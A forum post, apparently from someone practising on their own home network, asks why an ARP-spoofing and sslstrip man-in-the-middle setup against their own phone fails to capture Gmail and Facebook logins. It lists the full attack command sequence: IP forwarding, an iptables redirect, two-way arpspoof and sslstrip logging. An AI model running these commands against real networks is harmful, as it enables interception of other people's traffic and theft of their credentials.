MITM not working as expected

Hi

Hopefully someone can offer some help as to what's going wrong.

I am doing some practising on my own network, and I cant seem to get all the way there, having tried various methods.

Setup as follows:

Laptop running Kali connected to home wifi on wlan0
Test "victim" - Samsung Galaxy S5 on 10.69.69.50
Router 10.69.69.1

I am signing in and out of gmail and facebook on Firefox for Android as a test.

Firstly I tried using Yamas.

This worked, as I saw logs for a few URL's. but it didnt catch any actual login details, only the URLs.Plus it was very intermittent in what it caught (i.e I might log in and out of Gmail 5 tiimes but it would only show 1 of the attempts)

So then I killed it and thought I'd try it manually.

Here's what I did:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
arpspoof -i wlan0 -t 10.69.69.1 10.69.69.50
arpspoof -i wlan0 -t 10.69.69.50 10.69.69.1
sslstrip -k -l 666 -f -w /root/Desktop/sslstrip.log

Thats it - I start logging in and out of gmail, facebook, and all I get when tailing the log is a few erraneous URL's.

On the sslstrip screen I get some errors though:

Code:

Any ideas?

Thanks in advance
